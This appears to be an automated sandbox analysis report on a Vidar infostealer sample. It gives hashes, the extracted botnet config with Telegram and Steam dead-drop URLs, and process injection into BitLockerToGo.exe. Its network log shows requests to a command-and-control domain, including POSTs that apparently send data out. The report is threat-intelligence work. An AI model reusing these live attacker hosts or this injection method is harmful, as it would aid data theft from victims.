vidar | 2c973057cbbe0d9836f477281a06b51c6ce009c5ac7683f4255743e7d01ca9ca

Analysis

max time kernel
93s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20/01/2025, 16:42 UTC

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General

Target

es7ulkrqlav0wdvdv6kpru02.exe
Size

9.8MB
MD5

2a7ec240fa5e25c92b2b78c4f1002ea0
SHA1

bca1465b8bafa5fe58d96d4289356d40c3d44155
SHA256

2c973057cbbe0d9836f477281a06b51c6ce009c5ac7683f4255743e7d01ca9ca
SHA512

dba36379cd0532301193b25ffc4c9b74406efc08ca2d2ce0fec06c115abdde2ab0409bfda1f8bf85ce50764a59503ab0d5b1efbbd641b4caec1dde910d220df3
SSDEEP

98304:D2FemCZvjc2SdS7Q+6qfx0Suals9I/f0E7zs/Ym6lQCpR2RJncpl2:6FeppPfxLsQf/7zLzVpWnQ2

Score

10^/10

vidar fc0stn discovery stealer

Malware Config

Extracted

Family

vidar

Botnet

fc0stn

https://t.me/w0ctzn

https://steamcommunity.com/profiles/76561199817305251

Attributes

user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0

Signatures

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3480 set thread context of 4156	3480	es7ulkrqlav0wdvdv6kpru02.exe	96

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	es7ulkrqlav0wdvdv6kpru02.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3480 wrote to memory of 4156	3480	es7ulkrqlav0wdvdv6kpru02.exe	96
PID 3480 wrote to memory of 4156	3480	es7ulkrqlav0wdvdv6kpru02.exe	96
PID 3480 wrote to memory of 4156	3480	es7ulkrqlav0wdvdv6kpru02.exe	96
PID 3480 wrote to memory of 4156	3480	es7ulkrqlav0wdvdv6kpru02.exe	96
PID 3480 wrote to memory of 4156	3480	es7ulkrqlav0wdvdv6kpru02.exe	96
PID 3480 wrote to memory of 4156	3480	es7ulkrqlav0wdvdv6kpru02.exe	96
PID 3480 wrote to memory of 4156	3480	es7ulkrqlav0wdvdv6kpru02.exe	96
PID 3480 wrote to memory of 4156	3480	es7ulkrqlav0wdvdv6kpru02.exe	96
PID 3480 wrote to memory of 4156	3480	es7ulkrqlav0wdvdv6kpru02.exe	96
PID 3480 wrote to memory of 4156	3480	es7ulkrqlav0wdvdv6kpru02.exe	96
PID 3480 wrote to memory of 4156	3480	es7ulkrqlav0wdvdv6kpru02.exe	96

C:\Users\Admin\AppData\Local\Temp\es7ulkrqlav0wdvdv6kpru02.exe
"C:\Users\Admin\AppData\Local\Temp\es7ulkrqlav0wdvdv6kpru02.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3480
- C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4156

Network

DNS

8.8.8.8.in-addr.arpa

Remote address:

8.8.8.8:53

Request

8.8.8.8.in-addr.arpa

IN PTR

Response

8.8.8.8.in-addr.arpa

IN PTR

dnsgoogle
DNS

97.17.167.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

97.17.167.52.in-addr.arpa

IN PTR

Response
DNS

8.153.16.2.in-addr.arpa

Remote address:

8.8.8.8:53

Request

8.153.16.2.in-addr.arpa

IN PTR

Response

8.153.16.2.in-addr.arpa

IN PTR

a2-16-153-8deploystaticakamaitechnologiescom
DNS

71.31.126.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

71.31.126.40.in-addr.arpa

IN PTR

Response
DNS

167.173.78.104.in-addr.arpa

Remote address:

8.8.8.8:53

Request

167.173.78.104.in-addr.arpa

IN PTR

Response

167.173.78.104.in-addr.arpa

IN PTR

a104-78-173-167deploystaticakamaitechnologiescom
DNS

133.211.185.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

133.211.185.52.in-addr.arpa

IN PTR

Response
DNS

228.249.119.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

228.249.119.40.in-addr.arpa

IN PTR

Response
DNS

197.87.175.4.in-addr.arpa

Remote address:

8.8.8.8:53

Request

197.87.175.4.in-addr.arpa

IN PTR

Response
DNS

241.42.69.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

241.42.69.40.in-addr.arpa

IN PTR

Response
DNS

t.me

BitLockerToGo.exe

Remote address:

8.8.8.8:53

Request

t.me

IN A

Response

t.me

IN A

149.154.167.99
GET

https://t.me/w0ctzn

BitLockerToGo.exe

Remote address:

149.154.167.99:443

Request

GET /w0ctzn HTTP/1.1
Host: t.me
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx/1.18.0
Date: Mon, 20 Jan 2025 16:43:43 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 12309
Connection: keep-alive
Set-Cookie: stel_ssid=854f85fed62275335c_11763161823606929277; expires=Tue, 21 Jan 2025 16:43:43 GMT; path=/; samesite=None; secure; HttpOnly
Pragma: no-cache
Cache-control: no-store
X-Frame-Options: ALLOW-FROM https://web.telegram.org
Content-Security-Policy: frame-ancestors https://web.telegram.org
Strict-Transport-Security: max-age=35768000
DNS

99.167.154.149.in-addr.arpa

Remote address:

8.8.8.8:53

Request

99.167.154.149.in-addr.arpa

IN PTR

Response
DNS

lfissrtg.rest

BitLockerToGo.exe

Remote address:

8.8.8.8:53

Request

lfissrtg.rest

IN A

Response

lfissrtg.rest

IN A

116.203.164.230
GET

https://lfissrtg.rest/

BitLockerToGo.exe

Remote address:

116.203.164.230:443

Request

GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Host: lfissrtg.rest
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx
Date: Mon, 20 Jan 2025 16:43:44 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
POST

https://lfissrtg.rest/

BitLockerToGo.exe

Remote address:

116.203.164.230:443

Request

POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----gv3ozusj5fkxba1nyua1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Host: lfissrtg.rest
Content-Length: 256
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx
Date: Mon, 20 Jan 2025 16:43:45 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
DNS

85.49.80.91.in-addr.arpa

Remote address:

8.8.8.8:53

Request

85.49.80.91.in-addr.arpa

IN PTR

Response
POST

https://lfissrtg.rest/

BitLockerToGo.exe

Remote address:

116.203.164.230:443

Request

POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----16xlfu3wl6pzu3wbsjeu
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Host: lfissrtg.rest
Content-Length: 299
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx
Date: Mon, 20 Jan 2025 16:43:46 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
DNS

e5.o.lencr.org

BitLockerToGo.exe

Remote address:

8.8.8.8:53

Request

e5.o.lencr.org

IN A

Response

e5.o.lencr.org

IN CNAME

o.lencr.edgesuite.net

o.lencr.edgesuite.net

IN CNAME

a1887.dscq.akamai.net

a1887.dscq.akamai.net

IN A

88.221.135.105

a1887.dscq.akamai.net

IN A

88.221.134.89
GET

http://e5.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQeEcDJrP2kU%2B9LL2pzIRVgTVStuQQUmc0pw6FYJq96ekyEWo9ziGCw394CEgTjmxTzChcwOI3c94LVQrrRBw%3D%3D

BitLockerToGo.exe

Remote address:

88.221.135.105:80

Request

GET /MFMwUTBPME0wSzAJBgUrDgMCGgUABBQeEcDJrP2kU%2B9LL2pzIRVgTVStuQQUmc0pw6FYJq96ekyEWo9ziGCw394CEgTjmxTzChcwOI3c94LVQrrRBw%3D%3D HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/10.0
Host: e5.o.lencr.org

Response

HTTP/1.1 200 OK

Server: nginx
Content-Type: application/ocsp-response
Content-Length: 344
ETag: "D19928671A68A83AC985D5881AA45BEA0CD35789ADC8103580A4D10D67028F3E"
Last-Modified: Mon, 20 Jan 2025 10:43:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=19469
Expires: Mon, 20 Jan 2025 22:08:14 GMT
Date: Mon, 20 Jan 2025 16:43:45 GMT
Connection: keep-alive
DNS

230.164.203.116.in-addr.arpa

Remote address:

8.8.8.8:53

Request

230.164.203.116.in-addr.arpa

IN PTR

Response

230.164.203.116.in-addr.arpa

IN PTR

static230164203116clientsyour-serverde
DNS

168.245.100.95.in-addr.arpa

Remote address:

8.8.8.8:53

Request

168.245.100.95.in-addr.arpa

IN PTR

Response

168.245.100.95.in-addr.arpa

IN PTR

a95-100-245-168deploystaticakamaitechnologiescom
DNS

105.135.221.88.in-addr.arpa

Remote address:

8.8.8.8:53

Request

105.135.221.88.in-addr.arpa

IN PTR

Response

105.135.221.88.in-addr.arpa

IN PTR

a88-221-135-105deploystaticakamaitechnologiescom
DNS

60.153.16.2.in-addr.arpa

Remote address:

8.8.8.8:53

Request

60.153.16.2.in-addr.arpa

IN PTR

Response

60.153.16.2.in-addr.arpa

IN PTR

a2-16-153-60deploystaticakamaitechnologiescom
DNS

182.129.81.91.in-addr.arpa

Remote address:

8.8.8.8:53

Request

182.129.81.91.in-addr.arpa

IN PTR

Response
DNS

182.129.81.91.in-addr.arpa

Remote address:

8.8.8.8:53

Request

182.129.81.91.in-addr.arpa

IN PTR
DNS

182.129.81.91.in-addr.arpa

Remote address:

8.8.8.8:53

Request

182.129.81.91.in-addr.arpa

IN PTR

149.154.167.99:443

https://t.me/w0ctzn

tls, http

BitLockerToGo.exe

1.5kB
19.5kB
24
21

HTTP Request

GET https://t.me/w0ctzn

HTTP Response

200
116.203.164.230:443

https://lfissrtg.rest/

tls, http

BitLockerToGo.exe

982 B
3.0kB
11
8

HTTP Request

GET https://lfissrtg.rest/

HTTP Response

200
116.203.164.230:443

https://lfissrtg.rest/

tls, http

BitLockerToGo.exe

1.4kB
525 B
8
5

HTTP Request

POST https://lfissrtg.rest/

HTTP Response

200
116.203.164.230:443

https://lfissrtg.rest/

tls, http

BitLockerToGo.exe

1.4kB
558 B
8
6

HTTP Request

POST https://lfissrtg.rest/

HTTP Response

200
88.221.135.105:80

http://e5.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQeEcDJrP2kU%2B9LL2pzIRVgTVStuQQUmc0pw6FYJq96ekyEWo9ziGCw394CEgTjmxTzChcwOI3c94LVQrrRBw%3D%3D

http

BitLockerToGo.exe

467 B
862 B
5
3

HTTP Request

GET http://e5.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQeEcDJrP2kU%2B9LL2pzIRVgTVStuQQUmc0pw6FYJq96ekyEWo9ziGCw394CEgTjmxTzChcwOI3c94LVQrrRBw%3D%3D

HTTP Response

200

8.8.8.8:53

8.8.8.8.in-addr.arpa

dns

66 B
90 B
1
1

DNS Request

8.8.8.8.in-addr.arpa
8.8.8.8:53

97.17.167.52.in-addr.arpa

dns

71 B
145 B
1
1

DNS Request

97.17.167.52.in-addr.arpa
8.8.8.8:53

8.153.16.2.in-addr.arpa

dns

69 B
131 B
1
1

DNS Request

8.153.16.2.in-addr.arpa
8.8.8.8:53

71.31.126.40.in-addr.arpa

dns

71 B
157 B
1
1

DNS Request

71.31.126.40.in-addr.arpa
8.8.8.8:53

167.173.78.104.in-addr.arpa

dns

73 B
139 B
1
1

DNS Request

167.173.78.104.in-addr.arpa
8.8.8.8:53

133.211.185.52.in-addr.arpa

dns

73 B
147 B
1
1

DNS Request

133.211.185.52.in-addr.arpa
8.8.8.8:53

228.249.119.40.in-addr.arpa

dns

73 B
159 B
1
1

DNS Request

228.249.119.40.in-addr.arpa
8.8.8.8:53

197.87.175.4.in-addr.arpa

dns

71 B
157 B
1
1

DNS Request

197.87.175.4.in-addr.arpa
8.8.8.8:53

241.42.69.40.in-addr.arpa

dns

71 B
145 B
1
1

DNS Request

241.42.69.40.in-addr.arpa
8.8.8.8:53

t.me

dns

BitLockerToGo.exe

50 B
66 B
1
1

DNS Request

t.me

DNS Response

149.154.167.99
8.8.8.8:53

99.167.154.149.in-addr.arpa

dns

73 B
166 B
1
1

DNS Request

99.167.154.149.in-addr.arpa
8.8.8.8:53

lfissrtg.rest

dns

BitLockerToGo.exe

59 B
75 B
1
1

DNS Request

lfissrtg.rest

DNS Response

116.203.164.230
8.8.8.8:53

85.49.80.91.in-addr.arpa

dns

70 B
145 B
1
1

DNS Request

85.49.80.91.in-addr.arpa
8.8.8.8:53

e5.o.lencr.org

dns

BitLockerToGo.exe

60 B
159 B
1
1

DNS Request

e5.o.lencr.org

DNS Response

88.221.135.105

88.221.134.89
8.8.8.8:53

230.164.203.116.in-addr.arpa

dns

74 B
133 B
1
1

DNS Request

230.164.203.116.in-addr.arpa
8.8.8.8:53

168.245.100.95.in-addr.arpa

dns

73 B
139 B
1
1

DNS Request

168.245.100.95.in-addr.arpa
8.8.8.8:53

105.135.221.88.in-addr.arpa

dns

73 B
139 B
1
1

DNS Request

105.135.221.88.in-addr.arpa
8.8.8.8:53

60.153.16.2.in-addr.arpa

dns

70 B
133 B
1
1

DNS Request

60.153.16.2.in-addr.arpa
8.8.8.8:53

182.129.81.91.in-addr.arpa

dns

216 B
147 B
3
1

DNS Request

182.129.81.91.in-addr.arpa

DNS Request

182.129.81.91.in-addr.arpa

DNS Request

182.129.81.91.in-addr.arpa

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4156-0-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/4156-1-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/4156-2-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/4156-9-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

MITRE ATT&CK Enterprise v15

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